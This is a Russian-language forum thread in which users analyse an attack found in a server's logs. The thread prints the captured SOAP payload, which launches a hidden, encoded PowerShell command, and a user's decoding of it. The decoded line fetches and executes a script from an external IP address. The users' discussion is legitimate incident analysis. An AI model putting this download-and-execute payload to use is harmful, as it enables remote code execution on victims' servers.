наблюдал интересную атаку...

[Ondrik8]

Код:



soapenv:Envelope xmlns:soapenv = "http://schemas.xmlsoap.org/soap/envelope/">
\n
\n
\n
\n
\n
\n
\n cmd.exe
\n
\n
\n /c
\n
\n
\n Start /Min PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAVwBtAGkAIABXAGkAbgAzADIAXwBPAHAAZQ ByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQApAC4AQwBhAHAAdABp AG8AbgA7ACQAVwBDAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE 4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAFcAQwAuAEgA ZQBhAGQAZQByAHMAWwAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJw BdAD0AIgBQAG8AdwBlAHIAUwBoAGUAbABsAC8AVwBMACsAIAAk AE8AUwAiADsASQBFAFgAIAAkAFcAQwAuAEQAbwB3AG4AbABvAG EAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADEA MQAuADIAMwAwAC4AMgAyADkALgAyADIANgAvAGkAbQBhAGcAZQ BzAC8AdABlAHMAdAAvAEQATAAuAHAAaABwACcAKQA7AA==
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n


вот что попало в логи, одного из серверов, атака шла от китайского IP адреса ) понятно что задействован powershell и js или java

возможно я спалил методику атаки... давайте разберемся!

кто что скажет?

[fuzscore]

Декод строки
$OS=(GWmi Win32_OperatingSystem).Caption;$WC=New-Object Net.WebClient;$WC.Headers['User-Agent']="PowerShell/WL+ $OS";IEX $WC.DownloadString('http://111.230.229.226/images/test/DL.php');

[Dr.Lafa]

Скорее всего бот гуляет по интернету и пытается проэксплуатировать дырку в каком-то java-приложении, которое обрабатывает xml.
Подобный эксплоит есть для Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass. CVE_2017_12617
Но тут какая-то другая уязвимость